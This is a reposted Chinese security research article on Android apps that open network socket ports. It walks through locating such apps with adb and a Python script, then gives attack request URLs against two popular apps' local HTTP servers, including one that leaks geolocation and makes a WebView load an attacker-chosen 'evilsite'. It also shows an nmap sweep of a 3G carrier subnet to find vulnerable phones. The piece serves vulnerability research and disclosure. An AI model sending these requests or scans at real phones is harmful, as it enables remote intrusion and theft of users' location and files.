<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/mobile/6973

            0x00 簡介


            Android應用通常使用PF_UNIX、PF_INET、PF_NETLINK等不同domain的socket來進行本地IPC或者遠程網絡通信,這些暴露的socket代表了潛在的本地或遠程攻擊面,歷史上也出現過不少利用socket進行拒絕服務、root提權或者遠程命令執行的案例。特別是PF_INET類型的網絡socket,可以通過網絡與Android應用通信,其原本用于linux環境下開放網絡服務,由于缺乏對網絡調用者身份或者本地調用者pid、permission等細粒度的安全檢查機制,在實現不當的情況下,可以突破Android的沙箱限制,以被攻擊應用的權限執行命令,通常出現比較嚴重的漏洞。作為Android安全研究的新手,筆者帶著傳統服務器滲透尋找開放socket端口的思路,竟然也刷了不少漏洞,下面就對這種漏洞的發現、案例及影響進行歸納。

            0x01 Android開放端口應用定位


            簡單地利用命令netstat就可以發現Android開放了許多socket端口,如圖。但這些開放端口本后的應用卻不得而知。

            enter image description here

            此時可以通過三步定位法進行尋找([email protected]帖子),支持非root手機。

            第一步,利用netstat尋找感興趣的開放socket端口,如圖中的15555。

            第二步,將端口轉換為十六進制值,查看位于/proc/net/目錄下對應的socket套接字狀態文件,在其中找到使用該socket的應用的uid。如15555的十六進制表示為1cc3,協議類型為tcp6,那么查看/proc/net/tcp6文件。

            enter image description here

            注意上面的10115,就是使用該socket的應用的uid。通過這個uid可以得知應用的用戶名為u0_a115。

            第三步,根據用戶名就可以找到應用了

            enter image description here

            至此,我們就知道開放15555端口的應用為com.qiyi.video,盡管我們還不能分辨出開放該端口的準確進程,但仍然為進一步的漏洞挖掘打下基礎。

            寫一個簡單的腳本來自動化的完成此項工作.

            #!python
            import subprocess,re 
            
            def toHexPort(port):
                hexport = str(hex(int(port)))
                return hexport.strip('0x').upper()
            
            def finduid(protocol, entry):
                if (protocol=='tcp' or protocol=='tcp6'):
                    uid = entry.split()[-10]
                else: # udp or udp6
                    uid = entry.split()[-6]
                uid = int(uid)
                if (uid > 10000): # just for non-system app
                    return 'u0_a'+str(uid-10000) 
                else:
                    return -1
            
            def main():
                netstat_cmd = "adb shell netstat | grep -Ei 'listen|udp*'"
                #netstat_cmd = "adb shell netstat "
                grep_cmd = "adb shell grep" 
                proc_net = "/proc/net/"
            
            # step 1, find interesting port
                orig_output = subprocess.check_output(netstat_cmd, shell=True)
                list_line = orig_output.split('\r\n')
            
                apps = []
                strip_listline = []
                pattern = re.compile("^Proto") # omit the first line
            
                for line in list_line:
                    if (line != '') and (pattern.match(line)==None):
            
            # step 2, find uid in /proc/net/[protocol] based on port 
                        socket_entry = line.split()
                        protocol = socket_entry[0]  
                        port = socket_entry[3].split(':')[-1]
                        grep_appid = grep_cmd+' '+ toHexPort(port)+' '+proc_net + protocol 
                        net_entry = subprocess.check_output(grep_appid, shell=True)
                        uid = finduid(protocol, net_entry)
            # step 3, find app username based on uid
                        if (uid == -1): continue
                        applist = subprocess.check_output('adb shell ps | grep '+uid, shell=True).split()
                        app = applist[8]
                        apps.append(app)
                        strip_listline.append(line)
            
                itapp= iter(apps)
                itline=iter(strip_listline)
            # last, add app in orig_output of sockets
                print ("Package                  Proto Recv-Q Send-Q         Local Address          Foreign Address        State\r\n")
                try:
                    while True:
                        print itapp.next()+' '+itline.next()
                except StopIteration:
                    pass
            
            if __name__ == '__main__':
                main()
            

            運行結果如下

            enter image description here

            除了PF_INET套接字外,PF_UNIX、PF_NETLINK套接字的狀態文件分別位于/proc/net/unix和/proc/net/netlink。

            當然,如果手機已root,可直接使用busybox安裝目錄下帶p參數的netstat命令,可以顯示pid和不完整的program name。

            enter image description here

            0x02 漏洞挖掘實例


            得知某個應用開放某個端口以后,接下就可以在該應用的逆向代碼中搜索端口號(通常是端口號的16進制表示),重點關注ServerSocket(tcp)、DatagramSocket(udp)等類,定位到關鍵代碼,進一步探索潛在的攻擊面,下面列舉一些漏洞實例。

            1、敏感信息泄露、控制手機

            WooYun-2015-94537:某service打開udp的65502端口監聽,接收特定的命令字后可返回手機的敏感信息,包括手機助手遠程管理手機的SecretKey,進而未授權的攻擊者可通過網絡完全管理手機。

            CVE-2014-8757, LG On-Screen Phone預裝App認證繞過漏洞。

            2、命令執行

            這類漏洞比較常見,通常通過開放socket端口傳入啟動android應用組件的intent,然后以被攻擊應用的權限執行啟動activity、發送廣播等操作。由于通過socket傳入的intent,無法對發送者的身份和權限進行細粒度檢查,繞過了Android提供的對應用組件的權限保護,能夠啟動未導出的和受權限保護的應用組件,對安全造成影響。

            如果監聽的端口是在本地,那么可能造成本地命令執行和權限提升,而如果監聽的端口是任意地址,則可能造成比較嚴重的遠程命令執行。

            3、本地命令執行:

            用前面端口應用定位的方法,發現某流行應用實現了一個小型的HTTP Server,監聽本地的9527端口,簡單搜索分析即可發現向該端口發送如下形式的HTTP請求時可執行命令。

            http://127.0.0.1:9527/si?cmp=<pacakgename>_<componentname>&data=<url scheme>&act=<action name>
            

            通過這個簡單的HTTP請求,惡意程序就可以傳入intent對象的包名、組件名、url和action,接收HTTP請求后執行命令的代碼如下:

            #!java
            ...
                    if(v3.hasNext()) {
                        Object v6 = v3.next();
                        if("act".equals(v6)) {
                            v4.setAction(v10.b.get(v6));
                        }
                        if("cmp".equals(v6)) {
                            String[] v9 = v10.b.get(v6).split("_");
                            if(v9 == null) {
                                goto label_39;
                            }
                            if(v9.length != 2) {
                                goto label_39;
                            }
                            v4.setComponent(new ComponentName(v9[0], v9[1]));
                        }
            
                    label_39:
            
                        if("data".equals(v6)) {
                            v4.setData(Uri.parse(v10.b.get(v6)));
                        }
            
                        if(!"callback".equals(v6)) {
                            goto label_13;
                        }
                        Object v1_1 = v10.b.get(v6);
                        goto label_13;
                    }
            
                    if((TextUtils.isEmpty(v4.getAction())) && v4.getComponent() == null && v4.getData() == null) {
            
                        if(TextUtils.isEmpty(((CharSequence)v1))) {
                            return "{\"result\":-20000}";
                        }
                        return this.a(v1, "{\"result\":-20000}");
                    }
                    List v0 = this.a.getPackageManager().queryIntentActivities(v4, 0);
                    if(v0.size() == 0) {
                        if(TextUtils.isEmpty(((CharSequence)v1))) {
                            return "{\"result\":-10000}";
                        }
                        return this.a(v1, "{\"result\":-10000}");
                    }
                    try {
                        this.a.startActivity(v4);
                    }
            ...
            

            最終通過HTTP請求設置的Intent對象,傳入了startActivity方法,由于需要用戶干預,危害并不大。但當packagename指定為該應用自身,componentname指定為該應用的activity時,可以啟動該應用的任意activity,包括受保護的未導出activity,從而對安全造成影響。例如,通過HTTP請求,逐一啟動若干未導出的activity,可以發現拒絕服務漏洞、對安全有影響的登錄界面和有一個可以該應用權限執行任意命令的GUI shell。

            遠程命令執行:

            1. 趨勢科技曾經發現過美團客戶端漏洞,可以通過TCP的9527端口傳入intent data,進而啟動activity,見參考文獻[1].

            2. 遠程強制webview訪問惡意鏈接

            定位到某流行應用實現了一個小型的HTTP Server,在tcp的6677端口監聽任意地址,當HTTP請求滿足一定條件時可以返回敏感信息,并根據請求消息執行一系列動作。對于該HTTP請求,僅有的防御措施是通過referer白名單的方式判斷HTTP請求的來源。在正確設置referer,發送如下HTTP GET請求后

            http://ip:6677/command?param1=value1&...&paramn=valuen
            

            可獲取手機的敏感信息和實現命令執行。其中command為getpackageinfo、androidamap、geolocation中的其一,見如下代碼片段。

            enter image description here

            (1)當command為geolocation時,可返回安裝該應用手機地理位置信息;

            (2)當command為getpackageinfo時,默認返回該應用自身的版本信息。此時若指定參數param1為packagename,即請求http://ip:6677/getpackageinfo?packagename=xxx時(xxx為軟件包名)可返回手機上安裝的xxx所指定的任意軟件包版本信息。若xxx為android,可返回android系統版本信息;

            (3)當command為androidamap時,設置Intent并將其廣播出去,查看對應的OnReceive方法

            enter image description here

            發現需要指定參數param1為action,即請求

            http://ip:6677/androidamap?action=yyy&param2=value2&...&paramn=valuen
            

            時,OnReceive方法取出前面廣播intent對象的extra,新建一個intent對象,設置intent uri為

            androidamap://yyy?sourceApplication=web&param2=value2&...&paramn=valuen
            

            并以隱式intent的形式啟動注冊這種uri scheme的activiy。

            進一步搜索發現如下代碼:

            #!java
            Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url="
                                         + this.a.m.privilegeLink);
                Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(), 
                                        NewMapActivity.class);
                v1.setData(v0_2);
                v1.setFlags(268435456);
                MovieDetailHeaderView.c(this.a).startActivity(v1);
            

            表明可以通過遠程HTTP GET請求如下地址

            http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite
            

            操縱安裝該app的手機繼承WebView的Activity訪問evilsite,而且這里存在WebView的漏洞,利用方式包括

            (1). 竊取私有目錄下的敏感文件:遠程攻擊者或者本地惡意app可以令WebView加載file://域的惡意腳本文件,按照惡意腳本的請求,竊取該應用私有目錄下的敏感文件,突破android沙箱限制;

            (2). WebView遠程命令執行:存在可被網頁中js操縱的接口jsinterface。由于該流行應用針對的SDK版本較低(android:minSdkVersion="8"),在Android 4.4.2以下的手機,均可使用該接口,通過js注入該應用進程執行命令。

            0x03 漏洞利用場景


            對于Android app開放socket端口漏洞的遠程利用場景,一般認為Android客戶端都在內網,其利用主要還是在非安全的公共WiFi環境,通過對漏洞特征掃描即可利用。但在傳統認為安全的移動互聯網環境,筆者發現仍然可以掃描到其他開放端口的終端,因此也可以利用這種漏洞。

            敘述之前,我們先對典型的移動通信網絡架構進行簡單的科普,一般教科書上的3G網絡架構(WCDMA)如圖。

            enter image description here

            包括以下組成部分:

            1. UE: 用戶終端設備,就是手機,為用戶提供電路域和分組域內的各種業務功能。

            2. UTRAN: 陸地無線接入網,分為基站(Node B)和無線網絡控制器(RNC)兩部分。

            3. CN: 核心網絡,負責與其他網絡的連接和對UE 的通信和管理。主要功能實體包括:

              (1) MSC/VLR:提供CS(電路交換)域的呼叫控制、移動性管理、鑒權和加密等功能;

              (2) GMSC:網關移動交換中心,充當移動網和固定網之間的移動關口局,承擔路由分析、網間接續、網間結算等重要功能;

              (3) SGSN:GPRS服務支持節點,提供PS(分組交換)域的路由轉發、移動性管理、會話管理、鑒權和加密等功能;

              (4) GGSN:網關GPRS支持節點,提供數據包在WCDMA 移動網和外部數據網之間的路由和封裝,GGSN就好象是可尋址WCDMA移動網絡中所有用戶IP 的路由器,需要同外部網絡交換路由信息。

              (5) HLR:歸屬位置寄存器,提供用戶的簽約信息存放、新業務支持、增強的鑒權等功能。

            4. External Networks:外部網絡,包括ISDN和PSTN等電路交換網絡,以及Internet等分組交換網絡。

            簡而言之,移動通信網絡無非是大型的“局域網“,它們通過網關路由器(SGSN和GGSN)連上了Internet,進入到了互聯網的世界。但是在某些移動通信網絡的內部,不同的UE是可以互訪的。以前面某應用開放6677端口為例,我們可以做一個簡單的實驗進行證明。

            使用聯通3G網絡,查看當前IP地址。

            enter image description here

            在相鄰C段進行掃描,掃描到開放端口的手機

            nmap -sT --open -p6677 10.160.112.0/24
            

            發現如下結果

            enter image description here

            這證明在移動網絡中,不同的UE可以互訪。因此如果開放上述socket端口的app存在漏洞,在移動網絡中也是可以利用的。

            0x04 小結


            對于客戶端的遠程漏洞利用,從攻擊者的角度來看,通常更容易使用“受”的方法,即通過欺騙、劫持或社工的方法來讓客戶端訪問我的攻擊載荷。然而,從筆者發現的漏洞案例來看,許多Android應用不正確地使用網絡socket端口傳入命令進行跨進程通信,而且對于本地應用環境,網絡socket也先天缺乏細粒度的認證授權機制,因此把Android客戶端當做服務器,使用“攻”的方法,主動向開放端口發送攻擊載荷也是可行的。這種漏洞一旦存在,輕則本地提權,重則為遠程利用的高危漏洞,3G移動網絡允許UE互訪更是加劇了這種風險。

            此外,除PF_INET外,PF_UNIX、PF_NETLINK域的套接字也是值得關注的本地攻擊面。

            參考文獻:[1] http://blog.trendmicro.com/trendlabs-security-intelligence/open-socket-poses-risks-to-android-security-model

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线